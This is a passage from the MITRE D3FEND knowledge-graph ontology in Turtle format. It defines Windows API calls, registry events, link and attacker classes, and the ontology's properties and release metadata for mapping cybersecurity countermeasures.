    rdfs:label "Windows Registry Value Get Event" ;
    d3f:definition "An event where the data of a registry value is retrieved, typically to read its configuration or state." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryValueSetEvent ],
        d3f:WindowsRegistryValueEvent .

d3f:WindowsRegistryValueUpdateEvent a owl:Class ;
    rdfs:label "Windows Registry Value Update Event" ;
    d3f:definition "An event indicating changes to the data or configuration of an existing registry value within the Windows Registry." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryValueSetEvent ],
        d3f:WindowsRegistryValueEvent .

d3f:WindowsResumeThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows ResumeThread" ;
    d3f:definition "Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed." ;
    d3f:invokes d3f:WindowsNtResumeThread ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtResumeThread ],
        d3f:OSAPIResumeThread .

d3f:WindowsSetThreadContext a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows SetThreadContext" ;
    d3f:definition "Sets the context for the specified thread." ;
    d3f:invokes d3f:WindowsNtSetThreadContext ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtSetThreadContext ],
        d3f:OSAPISetThreadContext .

d3f:WindowsSuspendThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows SuspendThread" ;
    d3f:definition "Suspends the specified thread." ;
    d3f:invokes d3f:WindowsNtSuspendThread ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtSuspendThread ],
        d3f:OSAPISuspendThread .

d3f:WindowsTerminateProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows TerminateProcess" ;
    d3f:definition "Terminates the specified process and all of its threads." ;
    d3f:invokes d3f:WindowsNtTerminateProcess ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtTerminateProcess ],
        d3f:OSAPITerminateProcess .

d3f:WindowsVirtualAllocEx a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows VirtualAllocEx" ;
    d3f:definition "Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero." ;
    d3f:invokes d3f:WindowsNtAllocateVirtualMemory,
        d3f:WindowsNtProtectVirtualMemory ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtProtectVirtualMemory ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtAllocateVirtualMemory ],
        d3f:OSAPIAllocateMemory .

d3f:WindowsVirtualFree a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows VirtualFree" ;
    d3f:definition "Releases, decommits, or releases and decommits a region of pages within the virtual address space of the calling process." ;
    d3f:invokes d3f:WindowsNtFreeVirtualMemory ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtFreeVirtualMemory ],
        d3f:OSAPIFreeMemory .

d3f:WindowsVirtualProtectEx a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows VirtualProtectEx" ;
    d3f:definition "Changes the protection on a region of committed pages in the virtual address space of a specified process." ;
    d3f:invokes d3f:WindowsNtAllocateVirtualMemory,
        d3f:WindowsNtProtectVirtualMemory ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtAllocateVirtualMemory ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtProtectVirtualMemory ],
        d3f:OSAPIAllocateMemory .

d3f:WindowsWriteFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows WriteFile" ;
    d3f:definition "Writes data to the specified file or input/output (I/O) device." ;
    d3f:invokes d3f:WindowsNtWriteFile,
        d3f:WindowsNtWriteFileGather ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtWriteFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtWriteFileGather ],
        d3f:OSAPIWriteFile .

d3f:WindowsWriteProcessMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows WriteProcessMemory" ;
    d3f:definition "Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails." ;
    d3f:invokes d3f:WindowsNtFlushInstructionCache,
        d3f:WindowsNtProtectVirtualMemory,
        d3f:WindowsNtWriteVirtualMemory ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtProtectVirtualMemory ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtWriteVirtualMemory ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WindowsNtFlushInstructionCache ],
        d3f:OSAPIWriteMemory .

d3f:WiredLink a owl:Class ;
    rdfs:label "Wired Link" ;
    d3f:definition "A physical link that uses a physical conductor or waveguide to constrain and direct signal propagation between endpoints. The signal is confined within or along a manufactured medium such as metal conductors, optical fibers, or coaxial structures." ;
    rdfs:subClassOf d3f:PhysicalLink .

d3f:WirelessAttacker a owl:Class ;
    rdfs:label "Wireless Attacker" ;
    d3f:definition "An attacker who targets wireless communication methods, like Wi-Fi, without needing physical access to the premises." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:WirelessRouter ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:WirelessAccessPoint ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:PhysicalLink ],
        d3f:RemoteAttacker .

d3f:WirelessLink a owl:Class ;
    rdfs:label "Wireless Link" ;
    d3f:definition "A physical link that transmits signals through free space or an unguided medium without physical connectors between endpoints. The signal propagates through air, vacuum, water, or other natural media using electromagnetic waves or acoustic energy." ;
    rdfs:subClassOf d3f:PhysicalLink .

d3f:WriteProtectSwitch a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Write Protect Switch" ;
    d3f:definition "A physical device used to restrict configuration of a device." ;
    d3f:restricts d3f:Storage ;
    rdfs:seeAlso <https://web-material3.yokogawa.com/FGP-110__5_.us.pdf>,
        "NIST SP 800-82r3, Appendix F, SC-51 Hardware-Based Protection" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:Storage ],
        d3f:HardwareDevice .

d3f:X86CodeSegment a d3f:ImageCodeSegment,
        d3f:ProcessCodeSegment,
        owl:NamedIndividual ;
    rdfs:label "X86 Code Segment" .

d3f:ZeroClientComputer a owl:Class ;
    rdfs:label "Zero Client Computer" ;
    d3f:definition "Zero client is also referred as ultra thin client, contains no moving parts but centralizes all processing and storage to just what is running on the server. As a result, it requires no local driver to install, no patch management, and no local operating system licensing fees or updates. The device consumes very little power and is tamper-resistant and completely incapable of storing any data locally, providing a more secure endpoint." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Thin_client#Zero_client> ;
    rdfs:subClassOf d3f:ThinClientComputer .

d3f:abuses a owl:ObjectProperty ;
    rdfs:label "abuses" ;
    d3f:definition "x abuses y: The entity x applies an artifact y to a wrong thing or person; x applies y badly or incorrectly." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01163606-v> ;
    rdfs:subPropertyOf d3f:uses ;
    skos:altLabel "misapplies",
        "misuses" .

d3f:access-mediated-by a owl:ObjectProperty ;
    rdfs:label "access-mediated-by" ;
    d3f:definition "x access-mediated-by y: The entity or resource x has its access regulated, controlled, or facilitated by entity y, which acts as an intermediary or gatekeeper to enforce access control policies." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:mediates-access-to .

d3f:archived-at a owl:DatatypeProperty ;
    rdfs:label "archived-at"@en ;
    rdfs:range xsd:anyURI ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:attack-id a owl:AnnotationProperty ;
    rdfs:label "attack-id" ;
    d3f:definition "x attack-id y: The offensive technique x has the att&ck unique id of y." ;
    rdfs:domain d3f:OffensiveTechnique ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:attack-kb-annotation .

d3f:attack-kb-data-property a owl:DatatypeProperty ;
    rdfs:label "attack-kb-data-property" ;
    skos:altLabel "attack-kb-property" .

d3f:available a owl:DatatypeProperty ;
    rdfs:label "date available"@en ;
    d3f:definition "Date that the resource became or will become available." ;
    rdfs:range xsd:dateTime ;
    rdfs:subPropertyOf d3f:date .

d3f:broader a owl:ObjectProperty ;
    rdfs:label "broader" ;
    d3f:definition "x broader y: The entity x represents a more general or inclusive concept than entity y." ;
    rdfs:subPropertyOf d3f:semantic-relation .

d3f:broader-transitive a owl:ObjectProperty ;
    rdfs:label "broader-transitive" ;
    d3f:definition "x broader-transitive y: The entity x represents a more general concept than entity y, including indirect or hierarchical relationships where x encompasses y through intermediate entities." ;
    rdfs:subPropertyOf d3f:semantic-relation .

d3f:capec-id a owl:DatatypeProperty ;
    rdfs:label "capec-id" ;
    d3f:definition "Unique identifier for a CAPEC technique, i.e. a common attack pattern identified by the pattern CAPEC-[number]." ;
    rdfs:subPropertyOf d3f:d3fend-kb-data-property .

d3f:carried-by a owl:ObjectProperty ;
    rdfs:label "carried-by" ;
    d3f:definition "x carried-by y: The information entity x is dependent upon the entity y for its storage, transport, or communication. Entity y serves as the necessary bearer or link from which x can be recovered or interpreted." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:carries .

d3f:comments a owl:DatatypeProperty,
        owl:FunctionalProperty ;
    rdfs:label "comments" ;
    d3f:definition "x comments y: x claim has provider comments y." ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:confidence a owl:DatatypeProperty ;
    rdfs:label "confidence" ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:contributor a owl:AnnotationProperty .

d3f:controlled-by a owl:ObjectProperty ;
    rdfs:label "controlled-by" ;
    d3f:definition "x controlled-by y: x's operation or behavior is directed or regulated by y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:controls .

d3f:created a owl:DatatypeProperty ;
    rdfs:label "date created"@en ;
    d3f:definition "Date of creation of the resource." ;
    rdfs:range xsd:dateTime ;
    rdfs:subPropertyOf d3f:date .

d3f:cwe-id a owl:AnnotationProperty ;
    rdfs:label "cwe-id" ;
    rdfs:subPropertyOf d3f:cwe-kb-annotation .

d3f:d3fend-display-property a owl:DatatypeProperty ;
    rdfs:label "d3fend-display-property" ;
    d3f:definition "x d3fend-display-property y: An object x should be displayed using the display property y, when it applies." ;
    rdfs:subPropertyOf d3f:d3fend-data-property .

d3f:deceives a owl:ObjectProperty ;
    rdfs:label "deceives" ;
    rdfs:subPropertyOf d3f:counters .

d3f:decodes a owl:ObjectProperty ;
    rdfs:label "decodes" ;
    d3f:definition "x decodes y: Entity x transforms data y to a different form, usually through decompression." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:definition a owl:AnnotationProperty ;
    rdfs:label "definition" ;
    d3f:definition "x definition y: The d3fend object x has the definition y." ;
    rdfs:isDefinedBy <http://purl.obolibrary.org/obo/IAO_0000115> ;
    rdfs:subPropertyOf d3f:d3fend-annotation .

d3f:description a owl:AnnotationProperty ;
    rdfs:label "description"@en ;
    d3f:definition "A statement that represents something in words." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/06737512-n> ;
    rdfs:subPropertyOf d3f:d3fend-catalog-annotation-property .

d3f:display-baseurl a owl:AnnotationProperty ;
    rdfs:label "display-baseurl" ;
    d3f:definition "A base string to use as prefix to create a full URL for an entity. The baseurl must end in a forward slash: /" ;
    rdfs:subPropertyOf d3f:d3fend-display-annotation .

d3f:display-order a owl:AnnotationProperty ;
    rdfs:label "display-order" ;
    d3f:definition "x display-order y: An object x should be displayed in ordinal position y when placed or listed in a d3fend display with other objects of its kind." ;
    rdfs:subPropertyOf d3f:d3fend-display-annotation .

d3f:display-priority a owl:AnnotationProperty ;
    rdfs:label "display-priority" ;
    rdfs:subPropertyOf d3f:d3fend-display-annotation .

d3f:employed-by a owl:ObjectProperty ;
    rdfs:label "employed-by" ;
    d3f:definition "x employed-by y: An entity x is put into service by a technique or agent y.  Inverse of y employs x." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01161188-v> ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:employs .

d3f:encodes a owl:ObjectProperty ;
    rdfs:label "encodes" ;
    d3f:definition "x encodes y: Entity x transforms data y to a different form, usually through compression." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:evaluated-by a owl:ObjectProperty ;
    rdfs:label "evaluated-by" ;
    d3f:definition "x evaluated-by y: The entity x is assessed and analyzed by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:evaluates .

d3f:exactly a owl:ObjectProperty ;
    rdfs:label "exactly" ;
    d3f:definition "x exactly y: The entity x is identical to or fully corresponds to entity y." ;
    rdfs:subPropertyOf d3f:semantic-relation .

d3f:excises a owl:ObjectProperty ;
    rdfs:label "excises" ;
    d3f:definition "x excises y: Technique x removes a section of entity y." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:executed-by a owl:ObjectProperty ;
    rdfs:label "executed-by" ;
    d3f:definition "x executed-by y: The entity or function x is carried out, performed, or run by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:executes .

d3f:expectation-rating a owl:DatatypeProperty ;
    rdfs:label "expectation-rating" ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:has-audience a owl:ObjectProperty ;
    rdfs:label "has-audience" ;
    rdfs:subPropertyOf d3f:d3fend-use-case-object-property .

d3f:has-contribution a owl:ObjectProperty ;
    rdfs:label "has-contribution" ;
    rdfs:subPropertyOf d3f:d3fend-kb-object-property .

d3f:has-contributor a owl:ObjectProperty ;
    rdfs:label "has-contributor" ;
    rdfs:subPropertyOf d3f:d3fend-kb-object-property .

d3f:has-goal a owl:ObjectProperty ;
    rdfs:label "has-goal" ;
    rdfs:subPropertyOf d3f:d3fend-use-case-object-property .

d3f:has-input a owl:ObjectProperty ;
    rdfs:label "has-input" ;
    d3f:definition "x has-input y: An event x has input y iff y is an artifact that is present at the start of x, provides material or information required for x to begin, and during x either y's state is altered or the information content it bears is realized." ;
    rdfs:domain d3f:Event ;
    rdfs:range d3f:Artifact ;
    rdfs:seeAlso <http://purl.obolibrary.org/obo/RO_0002233>,
        <https://www.commoncoreontologies.org/ont00001921> ;
    rdfs:subPropertyOf d3f:has-participant ;
    owl:inverseOf d3f:input-of .

d3f:has-output a owl:ObjectProperty ;
    rdfs:label "has-output" ;
    d3f:definition "x has-output y: An event x has output y iff y is an artifact that is present at the end of x, was not present in the same state at the start of x, and whose presence at the end is required for x to be considered complete; the change in state may arise either from a transformation of y itself or from the realization of the information content y bears." ;
    rdfs:domain d3f:Event ;
    rdfs:range d3f:Artifact ;
    rdfs:seeAlso <http://purl.obolibrary.org/obo/RO_0002234>,
        <https://www.commoncoreontologies.org/ont00001986> ;
    rdfs:subPropertyOf d3f:has-participant ;
    owl:inverseOf d3f:output-of .

d3f:has-prerequisite a owl:ObjectProperty ;
    rdfs:label "has-prerequisite" ;
    rdfs:subPropertyOf d3f:d3fend-use-case-object-property .

d3f:has-procedure a owl:ObjectProperty ;
    rdfs:label "has-procedure" ;
    rdfs:subPropertyOf d3f:d3fend-general-object-property .

d3f:has-weakness a owl:ObjectProperty ;
    rdfs:label "has-weakness" ;
    d3f:definition "x has-weakness y: The entity x exhibits a condition y that could, in some circumstances, lead to a vulnerability." ;
    rdfs:subPropertyOf d3f:may-have-weakness ;
    owl:inverseOf d3f:weakness-of .

d3f:iOSProcess a d3f:Process,
        owl:NamedIndividual ;
    rdfs:label "iOS Process" .

d3f:identifier a owl:DatatypeProperty ;
    rdfs:label "identifier"@en ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:impairs a owl:ObjectProperty ;
    rdfs:label "impairs" ;
    d3f:definition "x impairs y: The entity or action x hinders entity y by reducing its normal function, capacity, or availability." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:inventoried-by a owl:ObjectProperty ;
    rdfs:label "inventoried-by" ;
    d3f:definition "x inventoried-by y: The entity x is cataloged, recorded, or tracked by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:inventories .

d3f:invoked-by a owl:ObjectProperty ;
    rdfs:label "invoked-by" ;
    d3f:definition "x invoked-by y: The entity x is called, triggered, or activated by entity y." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-be-invoked-by ;
    owl:inverseOf d3f:invokes .

d3f:issued a owl:DatatypeProperty ;
    rdfs:label "date issued"@en ;
    d3f:definition "Date of formal issuance of the resource." ;
    rdfs:range xsd:dateTime ;
    rdfs:subPropertyOf d3f:date .

d3f:kb-abstract a owl:AnnotationProperty ;
    rdfs:label "kb-abstract" ;
    d3f:definition "x kb-abstract y: The reference x has the abstract y." ;
    rdfs:domain d3f:TechniqueReference ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-kb-reference-annotation .

d3f:kb-article a owl:AnnotationProperty ;
    rdfs:label "kb-article" ;
    d3f:definition "The technique x has the kb-article y, where y is written in Markdown." ;
    rdfs:domain d3f:Technique ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-kb-reference-annotation .

d3f:kb-author a owl:AnnotationProperty ;
    rdfs:label "kb-author" ;
    d3f:definition "x kb-author y: The reference x has some author y." ;
    rdfs:domain d3f:TechniqueReference ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-kb-reference-annotation .

d3f:kb-mitre-analysis a owl:AnnotationProperty ;
    rdfs:label "kb-mitre-analysis" ;
    d3f:definition "x kb-mitre-analysis y: The reference x has the mitre d3fend analysis y." ;
    rdfs:domain d3f:TechniqueReference ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-kb-annotation-property .

d3f:kb-organization a owl:AnnotationProperty ;
    rdfs:label "kb-organization" ;
    d3f:definition "x kb-organization y: The reference x was created or owned by the organization y." ;
    rdfs:subPropertyOf d3f:d3fend-kb-annotation-property .

d3f:label a owl:AnnotationProperty ;
    rdfs:label "label"@en ;
    rdfs:subPropertyOf rdfs:label .

d3f:loaded-by a owl:ObjectProperty ;
    rdfs:label "loaded-by" ;
    d3f:definition "x loaded-by y: The entity x is brought into memory by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:loads .

d3f:macOSProcess a d3f:Process,
        owl:NamedIndividual ;
    rdfs:label "macOS Process" .

d3f:mapped-by a owl:ObjectProperty ;
    rdfs:label "mapped-by" ;
    d3f:definition "x mapped-by y: The entity x is linked  to another entity by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:maps .

d3f:may-be-deceived-by a owl:ObjectProperty ;
    rdfs:label "may-be-deceived-by" ;
    d3f:pref-label "may be deceived by" ;
    rdfs:subPropertyOf d3f:attack-may-be-countered-by ;
    owl:inverseOf d3f:may-deceive .

d3f:may-be-detected-by a owl:ObjectProperty ;
    rdfs:label "may-be-detected-by" ;
    d3f:pref-label "may be detected by" ;
    rdfs:subPropertyOf d3f:attack-may-be-countered-by ;
    owl:inverseOf d3f:may-detect .

d3f:may-be-evicted-by a owl:ObjectProperty ;
    rdfs:label "may-be-evicted-by" ;
    d3f:pref-label "may be evicted by" ;
    rdfs:subPropertyOf d3f:attack-may-be-countered-by ;
    owl:inverseOf d3f:may-evict .

d3f:may-be-hardened-against-by a owl:ObjectProperty ;
    rdfs:label "may-be-hardened-against-by" ;
    d3f:pref-label "may be hardened against by" ;
    rdfs:subPropertyOf d3f:attack-may-be-countered-by ;
    owl:inverseOf d3f:may-harden .

d3f:may-be-isolated-by a owl:ObjectProperty ;
    rdfs:label "may-be-isolated-by" ;
    d3f:pref-label "may be isolated by" ;
    rdfs:subPropertyOf d3f:attack-may-be-countered-by ;
    owl:inverseOf d3f:may-isolate .

d3f:modified a owl:DatatypeProperty ;
    rdfs:label "date modified"@en ;
    d3f:definition "Date on which the resource was changed." ;
    rdfs:range xsd:dateTime ;
    rdfs:subPropertyOf d3f:date .

d3f:modifies-part a owl:ObjectProperty ;
    rdfs:label "modifies-part" ;
    d3f:definition "x modifies-part y: The entity x modifies a part of y.  [Note: This is a rolification property for the rule 'if one modifies a part of a whole, they modify the whole.'  Reasoning for this and similar semantics to come are under evaluation and not part of current d3fend inferences.]" ;
    rdfs:subPropertyOf d3f:may-modify ;
    owl:propertyChainAxiom ( d3f:modifies d3f:contains ) .

d3f:narrower a owl:ObjectProperty ;
    rdfs:label "narrower" ;
    d3f:definition "x narrower y: The entity x represents a more specific or focused concept than entity y." ;
    rdfs:subPropertyOf d3f:semantic-relation .

d3f:narrower-transitive a owl:ObjectProperty ;
    rdfs:label "narrower-transitive" ;
    d3f:definition "x narrower-transitive y: The entity x represents a more specific concept than entity y, including indirect or hierarchical relationships where x is a subset of y through intermediate entities." ;
    rdfs:subPropertyOf d3f:semantic-relation .

d3f:operating-system a owl:DatatypeProperty ;
    rdfs:label "operating-system"@en ;
    d3f:definition "x operating-system y: The product x is supported on operating system y." ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:pref-label a owl:AnnotationProperty ;
    rdfs:label "pref-label" ;
    d3f:definition "x pref-label y: The preferred display value for x is y in d3fend tools." ;
    rdfs:subPropertyOf d3f:d3fend-annotation .

d3f:procedure-1 a d3f:Procedure,
        owl:NamedIndividual ;
    rdfs:label "Procedure 1 - T1134.001 Access Token Manipulation" ;
    d3f:implements d3f:T1134.001 ;
    d3f:start d3f:step-1 .

d3f:process-parent a owl:ObjectProperty ;
    rdfs:label "process-parent" ;
    d3f:definition "x process-parent y: The process y created the process x (directly) with a create process event." ;
    rdfs:subPropertyOf d3f:process-ancestor ;
    skos:altLabel "processParent" .

d3f:produced-by a owl:ObjectProperty ;
    rdfs:label "produced-by" ;
    d3f:definition "x produced-by y: The entity x is created by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:produces .

d3f:rating a owl:DatatypeProperty,
        owl:FunctionalProperty ;
    rdfs:label "rating" ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:related a owl:ObjectProperty ;
    rdfs:label "related" ;
    d3f:definition "x related y: x has a symmetric associative relation to y." ;
    rdfs:isDefinedBy skos:related ;
    rdfs:subPropertyOf d3f:semantic-relation .

d3f:release-date a owl:AnnotationProperty ;
    rdfs:label "release-date" ;
    d3f:definition "x release-date y: The object x has the release-date y." ;
    rdfs:subPropertyOf d3f:d3fend-annotation,
        owl:versionInfo .

d3f:resume a owl:ObjectProperty ;
    rdfs:label "resume" ;
    d3f:definition "The agent or technique x continues a previous action on entity y. Usually occurs after suspension on y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00350758-v> ;
    rdfs:subPropertyOf d3f:d3fend-process-object-property .

d3f:risk-impact a owl:DatatypeProperty ;
    rdfs:label "risk-impact" ;
    d3f:definition "Risk impact rating, expressed on a numeric scale from 1 (lowest impact) to 5 (highest impact) in the context of a 5x5 risk matrix. Impact is used here as a synonym for consequence, another popular term used in risk analysis." ;
    rdfs:isDefinedBy <https://www.cto.mil/wp-content/uploads/2024/05/RIO-2023-2-2.pdf> ;
    rdfs:range [ a rdfs:Datatype ;
            owl:onDatatype xsd:integer ;
            owl:withRestrictions ( [ xsd:minInclusive 1 ] [ xsd:maxInclusive 5 ] ) ] ;
    rdfs:subPropertyOf d3f:d3fend-data-property .

d3f:risk-likelihood a owl:DatatypeProperty ;
    rdfs:label "risk-likelihood" ;
    d3f:definition "Risk likelihood rating, expressed on a numeric scale from 1 (lowest likelihood) to 5 (highest likelihood) in the context of a 5x5 risk matrix." ;
    rdfs:isDefinedBy <https://www.cto.mil/wp-content/uploads/2024/05/RIO-2023-2-2.pdf> ;
    rdfs:range [ a rdfs:Datatype ;
            owl:onDatatype xsd:integer ;
            owl:withRestrictions ( [ xsd:minInclusive 1 ] [ xsd:maxInclusive 5 ] ) ] ;
    rdfs:subPropertyOf d3f:d3fend-data-property .

d3f:stage a owl:DatatypeProperty,
        owl:FunctionalProperty ;
    rdfs:label "stage" ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:synonym a owl:AnnotationProperty ;
    rdfs:label "synonym" ;
    d3f:definition "an equivalent term." ;
    rdfs:subPropertyOf d3f:d3fend-annotation .

d3f:t-SNEClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "t-SNE Clustering" ;
    d3f:d3fend-id "D3A-TSC" ;
    d3f:definition "T-distributed Stochastic Neighbor Embedding (t-SNE) is a statistical method for visualizing high-dimensional data by giving each datapoint a location in a two or three-dimensional map." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). T-distributed stochastic neighbor embedding. [Link](https://en.wikipedia.org/wiki/T-distributed_stochastic_neighbor_embedding)""" ;
    rdfs:subClassOf d3f:Projection-basedClustering .

d3f:text a owl:DatatypeProperty ;
    rdfs:label "text"@en ;
    d3f:definition "The text of the document (i.e., terms of license.)" ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:title a owl:DatatypeProperty ;
    rdfs:label "title"@en ;
    d3f:definition "A name given to the resource." ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:valid a owl:DatatypeProperty ;
    rdfs:label "date valid"@en ;
    d3f:definition "Date (often a range) of validity of a resource." ;
    rdfs:range xsd:dateTime ;
    rdfs:subPropertyOf d3f:date .

dcterms:description a owl:AnnotationProperty .

dcterms:license a owl:AnnotationProperty .

dcterms:title a owl:AnnotationProperty .

rdfs:isDefinedBy a owl:AnnotationProperty ;
    rdfs:label "isDefinedBy" .

rdfs:seeAlso a owl:AnnotationProperty .

skos:altLabel a owl:AnnotationProperty .

skos:example a owl:AnnotationProperty .

skos:prefLabel a owl:AnnotationProperty .

<wptmp:entity#Reference%20-%20%20CAR-2016-04-004:%20Successful%20Local%20Account%20Login> d3f:kb-organization "MITRE/NSA" .

<wptmp:entity#Reference%20-%20DNS%20Whitelist%20(DNSWL)%20Email%20Authentication%20Method%20Extension> d3f:kb-author "Alessandro Vesely" .

<http://d3fend.mitre.org/ontologies/d3fend.owl> a owl:Ontology ;
    d3f:release-date "2025-12-16T00:12:00+00:00"^^xsd:dateTime ;
    dcterms:description "D3FEND is a framework which encodes a countermeasure knowledge base as a knowledge graph. The graph contains the types and relations that define key concepts in the cybersecurity countermeasure domain and the relations necessary to link those concepts to each other. Each of these concepts and relations are linked to references in the cybersecurity literature." ;
    dcterms:license "MIT" ;
    dcterms:title "D3FEND™ - A knowledge graph of cybersecurity countermeasures" ;
    rdfs:comment "Use of the D3FEND Knowledge Graph, and the associated references from this ontology are subject to the Terms of Use. D3FEND is funded by the National Security Agency (NSA) Cybersecurity Directorate and managed by the National Security Engineering Center (NSEC) which is operated by The MITRE Corporation. D3FEND™ and the D3FEND logo are trademarks of The MITRE Corporation. This software was produced for the U.S. Government under Basic Contract No. W56KGU-18-D0004, and is subject to the Rights in Noncommercial Computer Software and Noncommercial Computer Software Documentation Clause 252.227-7014 (FEB 2012) Copyright 2022 The MITRE Corporation." ;
    owl:versionIRI <http://d3fend.mitre.org/ontologies/d3fend/1.3.0/d3fend.owl> ;
    owl:versionInfo "1.3.0" .

d3f:AML.T0017 a owl:Class ;
    rdfs:label "Develop Capabilities - ATLAS" ;
    d3f:attack-id "AML.T0017" ;
